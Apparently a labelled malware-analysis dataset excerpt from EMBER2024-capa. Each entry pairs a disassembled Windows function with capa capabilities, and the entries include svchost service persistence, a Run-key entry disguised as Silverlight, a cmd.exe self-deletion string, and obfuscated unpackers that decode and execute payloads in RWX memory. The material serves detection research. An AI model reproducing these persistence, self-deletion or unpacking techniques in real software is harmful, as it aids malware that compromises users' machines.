joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100157a0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x210
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [esp + 0x21c]
push edi
mov edi, dword [esp + 0x224]
test esi, esi
jne 0x100157cc
test edi, edi
je 0x10015841
cmp dword [0x100200f0], 0
je 0x100157e4
push 0
push str.WpnUserService_6ac92
call fcn.10018190
add esp, 8
test esi, esi
je 0x1001583d
push 0x52
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x10]
push str._s_c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10015824
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.10008464
add esp, 0x210
ret
test edi, edi
jne 0x10015853
mov edx, dword [esp + 0x21c]
push 0
push edx
call fcn.10011be0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10015860
Capabilities:
Create thread
Set current directory
Terminate process

Disassembly:
mov eax, dword [0x1001fe1c]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, dword [esp + 0x10]
xor edi, edi
push edi
mov dword [0x100201d4], 0x20
mov dword [0x100201d8], 2
mov dword [0x100201dc], 0x85
mov dword [0x100201e0], edi
mov dword [0x100201e4], edi
mov dword [0x100201e8], edi
mov dword [0x100201ec], edi
mov ecx, dword [esi]
push 0x10011dd0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x100201d0], eax
cmp eax, edi
je 0x10015942
mov edx, dword [esp + 0xc]
mov dword [0x100201d8], 4
cmp edx, 1
jbe 0x100158f4
lea eax, [edi + 1]
jle 0x100158f4
mov edi, edi
mov ecx, dword [esi + eax*4]
cmp word [ecx], 0x73
jne 0x100158ef
cmp word [ecx + 2], di
je 0x10015928
inc eax
cmp eax, edx
jl 0x100158e0
push 4
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
mov esi, eax
cmp esi, edi
je 0x10015928
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push edi
push edi
push esi
push 0x10016610
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call sub.NTDLL.dll_NtClose
pop edi
pop esi
mov dword [esp + 8], 0x100201d4
mov edx, dword [0x100201d0]
mov dword [esp + 4], edx
jmp dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0x100201d4
push edi
mov dword [0x100201d8], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10015e20
Capabilities:
Get session information

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
or edi, 0xffffffff
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
cmp esi, 0xffffffff
jne 0x10015e90
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x10015eb8
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x10]
xor eax, eax
mov ecx, esi
test edx, edx
jle 0x10015e84
cmp dword [ecx + 8], 0
je 0x10015e82
inc eax
add ecx, 0xc
cmp eax, edx
jl 0x10015e68
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
mov edi, dword [ecx]
push esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
push 8
push esi
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x10015eb8
mov eax, dword [esp + 0x10]
cmp dword [eax], 0
push eax
cmove edi, esi
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x100166c0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x210], eax
push 1
push str.WpnUserService_6ac92
call fcn.10018190
add esp, 8
test eax, eax
je 0x100167c5
cmp dword [0x1001fe50], 0
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
je 0x10016767
push 0x1001966c
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0x1c]
push str._s_s_c_s
push eax
call esi
add esp, 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0xf023f
push 0
push 0
push 0
lea edx, [esp + 0x28]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], 0
call dword [0x1001fe7c]
test eax, eax
jne 0x10016767
mov eax, dword [esp + 8]
push str.WpnUserService_6ac92
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea edx, [esp + 0x1c]
push str._s_s_c_s
push edx
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
add esp, 0x18
lea eax, [esp + 0xc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call edi
push 0x1001966c
push str.WpnUserService_6ac92
push str.Services_
lea ecx, [esp + 0x18]
push str.SYSTEMCurrentControlSet_s_s_s
push ecx
call esi
add esp, 0x14
lea edx, [esp + 0xc]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call edi
pop edi
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.10008464
add esp, 0x214
ret
Function at 0x100167e0
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x22c
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
xor ebx, ebx
push edi
mov dword [esp + 0x1c], 0x750052
mov dword [esp + 0x20], 0x6e
cmp dword [0x100200b0], ebx
je 0x1001681c
mov eax, dword [0x100200bc]
mov ecx, 0x100197a4
jmp 0x10016823
mov ecx, 0x1001966c
mov eax, ecx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x1c]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersion
push ecx
push eax
lea eax, [esp + 0x34]
push str._s_s_s_s
push eax
call edi
add esp, 0x18
push ebx
lea ecx, [esp + 0xc]
push ecx
push ebx
xor eax, eax
cmp dword [0x100200b0], ebx
push 0xf023f
push ebx
setne al
push ebx
push ebx
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x28], ebx
lea eax, [eax + eax - 0x7fffffff]
push eax
call dword [0x1001fe7c]
test eax, eax
jne 0x1001699a
cmp dword [esp + 0x238], ebx
je 0x1001689d
mov ecx, dword [0x1001fde0]
mov edx, dword [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x1001698f
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x20a
push 8
mov dword [esp + 0x24], ebx
call ebp
push eax
call fcn.10016d00
mov esi, eax
cmp esi, ebx
je 0x1001698d
mov eax, dword [0x1001fe1c]
push str.Silverlight.Configuration.exe
push eax
push str.__s_s_
push esi
call edi
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
push ebx
lea edx, [esp + 0x20]
push edx
push ebx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x20]
push str.Silverlight.Configuration.exe
mov dword [esp + 0x28], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
mov dword [esp + 0x30], 1
call ebx
test eax, eax
jne 0x10016964
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ecx + 2]
push edx
push 8
call ebp
push eax
call fcn.10016d00
mov edi, eax
test edi, edi
je 0x10016964
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push edi
lea ecx, [esp + 0x20]
push ecx
push 0
push str.Silverlight.Configuration.exe
push edx
call ebx
test eax, eax
jne 0x10016951
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, 1
test eax, eax
je 0x10016955
mov ebx, dword [esp + 0x1c]
push edi
push 0
call ebp
push eax
call fcn.10015150
test ebx, ebx
jne 0x10016982
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Silverlight.Configuration.exe
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
push 0
call ebp
push eax
call fcn.10015150
pop esi
pop ebp
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x230]
pop edi
pop ebx
xor ecx, esp
call fcn.10008464
add esp, 0x22c
ret
Function at 0x10016af0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor edx, edx
or eax, 0xffffffff
test esi, esi
je 0x10016b9b
push edi
mov edi, dword [esp + 0x10]
movzx ecx, byte [edx + edi]
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
inc edx
xor eax, ecx
cmp edx, esi
jb 0x10016b07
pop edi
not eax
pop esi
ret

Function at 0x10016ba0
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x214
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x210], eax
mov eax, dword [0x1002013c]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push edi
push eax
push reloc.WS2_32.dll_closesocket
call esi
mov ecx, dword [0x1002014c]
push ecx
push closesocket
call esi
cmp dword [0x1001fe50], 0
mov edi, dword [esp + 0x220]
je 0x10016c31
mov edx, dword [0x1002014c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push 0
call fcn.10017240
mov eax, dword [0x1001fe50]
add esp, 4
test eax, eax
je 0x10016c31
cmp dword [0x10020190], 0
jne 0x10016c15
test edi, edi
je 0x10016c31
mov ecx, dword [0x10020180]
push 1
push str.Wpn_User_Service_6ac92
push str.Wpn_User_Service_6ac92
push ecx
push eax
call fcn.10013880
add esp, 0x14
cmp dword [0x100200f0], 0
jne 0x10016c3e
test edi, edi
je 0x10016c43
call fcn.100166c0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0x800
push 8
call edi
push eax
call fcn.10016d00
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
test esi, esi
je 0x10016cae
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
mov ecx, dword [0x1001fe1c]
push ecx
push 0xa
push eax
push ecx
push str._c_ren___s.__.._lu.bak__ping_1.1.1.1__n__u__rmdir___s___q__s
push esi
call ebx
push 0
push 0
push 0
push esi
push str.cmd.exe
push 0
call fcn.1000d6d0
add esp, 0x30
push esi
push 0
call edi
push eax
call fcn.10015150
push 0x4b
push str.GlobalRMSServerGlobal
lea eax, [esp + 0x18]
push str._s_c
push eax
call ebx
add esp, 0x10
lea ecx, [esp + 0x10]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
pop ebx
test esi, esi
je 0x10016ce7
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x218]
pop edi
pop esi
xor ecx, esp
call fcn.10008464
add esp, 0x214
ret
Function at 0x10016de0
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
xor esi, esi
test eax, eax
je 0x10016e13
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
mov ecx, dword [ebp]
push 0
push eax
lea eax, [esi + ebx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
add esi, eax
mov eax, dword [edi]
cmp esi, eax
jb 0x10016df8
pop ebp
pop ebx
pop edi
mov eax, esi
pop esi
ret

Function at 0x100171c0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10017223
mov eax, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.10008464
add esp, 0x14
ret

Function at 0x10017310
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
je 0x10017329
mov ecx, dword [esp + 4]
mov edi, edi
xor byte [eax + ecx], 0xab
inc eax
cmp eax, edx
jb 0x10017320
ret
Function at 0x10017330
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
sub esp, 0x10
push edi
lea eax, [esp + 4]
push eax
xor edi, edi
push edi
push edi
push 5
mov dword [esp + 0x14], edi
call sub.NTDLL.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x100174a3
mov eax, dword [esp + 4]
test eax, eax
je 0x100174a3
push ebx
push 4
push 0x1000
push eax
push edi
call fcn.10010af0
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x10017455
mov edx, dword [esp + 8]
lea ecx, [esp + 8]
push ecx
push edx
push ebx
push 5
call sub.NTDLL.dll_NtQuerySystemInformation
test eax, eax
js 0x10017445
cmp dword [esp + 8], edi
jbe 0x10017445
mov dword [esp + 0xc], 1
push ebp
lea esp, [esp]
call fcn.10011370
cmp dword [ebx + 0x44], eax
jne 0x10017410
xor edi, edi
cmp dword [ebx + 4], edi
jbe 0x10017410
lea eax, [ebx + 0xdc]
mov dword [esp + 0x14], eax
jmp 0x100173d0
mov ecx, dword [esp + 0x14]
mov ebp, dword [ecx]
call fcn.10017600
cmp ebp, eax
je 0x1001748f
mov ecx, dword [esi]
test ecx, ecx
jne 0x1001745d
push 0x200
mov dword [esi + 4], 0x80
mov edx, dword [0x10020100]
push ecx
push edx
call fcn.10016d00
mov dword [esi], eax
test eax, eax
jne 0x10017484
mov dword [esp + 0x10], 0
mov eax, dword [ebx]
test eax, eax
je 0x1001741a
add ebx, eax
jne 0x100173b0
cmp dword [esp + 0x10], 0
pop ebp
jne 0x1001743d
mov eax, dword [esi]
test eax, eax
je 0x1001743d
mov ecx, dword [0x10020100]
push eax
push 0
push ecx
call fcn.10015150
mov dword [esi], 0
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0x8000
push edx
push ebx
call fcn.1000d1a0
pop ebx
mov eax, edi
pop edi
add esp, 0x10
ret
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10017484
add eax, eax
mov dword [esi + 4], eax
add eax, eax
add eax, eax
push eax
push ecx
mov ecx, dword [0x10020100]
push 0
push ecx
call fcn.10012e90
test eax, eax
je 0x10017408
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov dword [eax + edx*4], ebp
inc dword [esi + 8]
add dword [esp + 0x14], 0x40
inc edi
cmp edi, dword [ebx + 4]
jb 0x100173d0
jmp 0x10017410
mov eax, edi
pop edi
add esp, 0x10
ret
Function at 0x10017ba0
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x10017bee
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x10017bdd
push esi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call fcn.10017150
mov esi, eax
test esi, esi
je 0x10017bd6
push 0
push esi
call sub.NTDLL.dll_NtResumeThread
push esi
call sub.NTDLL.dll_NtClose
inc edi
cmp edi, dword [ebx + 8]
jb 0x10017bb3
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10020100]
push edx
push 0
push eax
call fcn.10015150
pop edi
pop ebx
ret

Function at 0x10017bf0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10017c4f
mov eax, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.10008464
add esp, 0x14
ret
Function at 0x10018040
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x10018064
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001805f
mov dword [eax + 4], esi
mov eax, esi
pop edi
pop esi
ret
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1001805f
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10018061
pop edi
mov dword [ecx + 4], eax
pop esi
ret

Function at 0x10018190
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x24
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push edi
mov edi, dword [esp + 0x38]
xor ebp, ebp
push 0xf003f
push ebp
push ebp
mov dword [esp + 0x1c], ebp
call esi
mov ebx, eax
test ebx, ebx
jne 0x100181d1
push 1
push eax
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x10018261
push 0xf01ff
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x1001825a
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x10018233
lea ecx, [esp + 0x14]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1001824f
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x10018233
push 0x3e8
call ebp
inc esi
cmp esi, 0x3c
jl 0x10018211
jmp 0x1001824f
cmp dword [esp + 0x3c], 0
jne 0x10018244
mov dword [esp + 0x10], 1
jmp 0x1001824f
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x10], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, dword [esp + 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [esp + 0x30]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.10008464
add esp, 0x24
ret
Function at 0x409944
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
jmp 0x4099ed
cmp dword [esi + 0x10], 0x1000
jne 0x4099d9
test byte [esi + 0x15], 1
jne 0x4099d9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409998
cmp eax, 2
je 0x409998
cmp eax, 0x10
je 0x409998
cmp eax, 0x20
jne 0x4099ad
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4099ad
mov bl, 1
xor ebp, ebp
jmp 0x4099be
mov eax, dword [esi]
add eax, ebp
call fcn.0040993c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x4099b1
test bl, bl
je 0x4099d9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409970
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40894e
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
call fcn.0040896f
add edx, edx
xor dword [ebx], esi
or edx, edx
dec edx
inc ebx
cmp ebx, edi
jne fcn.0040894e
add edx, 0xf2460a94
or eax, eax
ret
Function at 0x6d6717f1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d6717fb
repz ret
jmp fcn.6d671b91

Function at 0x6d67184e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d67185d
pop dword [ebp - 0x44]
mov eax, 0xb84a1ba1
sub eax, 0x4ae30344
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xfbe94d7c
sub dword [ebp - 0x54], 0xad970831
mov dword [ebp - 0x50], 0x6aa4f7f
add dword [ebp - 0x50], 0x2b88fcc6
mov dword [ebp - 0x4c], 0xff70c5eb
sub dword [ebp - 0x4c], 0xb32481bd
mov dword [ebp - 0x48], 0x8a3d51fb
add dword [ebp - 0x48], 0x75c2ae05
lea eax, [ebp - 0x54]
push eax
mov eax, 0xeda8b80b
sub eax, 0x804187c3
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x840f87c5
add dword [ebp - 0x54], 0xf062e191
mov dword [ebp - 0x50], 0x61c80350
add dword [ebp - 0x50], 0xdfa45e25
mov dword [ebp - 0x4c], 0x4d602975
add dword [ebp - 0x4c], 0x160f42f7
mov dword [ebp - 0x48], 0xfc9bd27
add dword [ebp - 0x48], 0xf03642d9
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xbd50b91b
add eax, 0xb01676e5
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3931b
push 0
call eax
mov ecx, 0x5f35e263
sub ecx, 0x5f358faf
mov ebx, eax
mov esi, 0xf4a5e0a7
add esi, 0x78c18159
add esi, dword [ebp - 0x44]
mov edx, 0x37d8cab6
add edx, 0x703c0593
add dword [ebp - 0x20], esi
mov edi, dword [esi]
xor dword [ebp - 0x2c], eax
sub edi, edx
xor dword [ebp - 0x34], 0xd6bb1433
mov dword [ebx], edi
mov dword [ebp - 0x14], 0xde8e2f6
add ebx, 4
add esi, 0x2faa3ec3
add esi, 0xd055c141
loop 0x6d67197f
add eax, 0x13da3
mov ebx, eax
add eax, 0x4eaf6b0b
sub eax, 0x4eaf6b06
mov ecx, 0xae1b98d1
sub ecx, 0x40b498d1
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x402c00
pop dword [ebp - 0x10]
mov eax, 0x402c00
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x40f776b7
sub dword [ebp - 0x20], 0xf2a5316c
mov dword [ebp - 0x1c], 0xc744cd2a
add dword [ebp - 0x1c], 0x6aee7f1b
mov dword [ebp - 0x18], 0x2632e919
sub dword [ebp - 0x18], 0xd9e6a4eb
mov dword [ebp - 0x14], 0x39de6f78
add dword [ebp - 0x14], 0xc6219088
lea eax, [ebp - 0x20]
push eax
mov eax, 0x8439fc99
sub eax, 0x83f98c35
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x66bf414c
sub dword [ebp - 0x20], 0xf24cd7f6
mov dword [ebp - 0x1c], 0x8b9babd
add dword [ebp - 0x1c], 0x38b2a6b8
mov dword [ebp - 0x18], 0x13903f17
sub dword [ebp - 0x18], 0xb020d2ab
mov dword [ebp - 0x14], 0xdecb069c
sub dword [ebp - 0x14], 0xdecb069c
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3c9e6
push 0
call eax
mov ecx, 0x5fb8
mov esi, eax
mov edi, 0x3abe19f
sub edi, 0x36ae19f
add edi, dword [ebp - 0x10]
mov edx, 0xd9aed623
add edx, 0x15b5f521
mov ebx, dword [edi]
add dword [ebp - 8], 0x9f502bb0
sub ebx, edx
xor dword [ebp - 8], eax
mov dword [esi], ebx
add dword [ebp - 4], ebx
add esi, 4
add edi, 0x9aa0da18
add edi, 0x655f25ec
loop 0x402d12
add eax, 0x7040f092
sub eax, 0x703f7edf
xor ebx, ebx
add ebx, eax
add eax, 0xf5239d4a
sub eax, 0xf5239d45
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret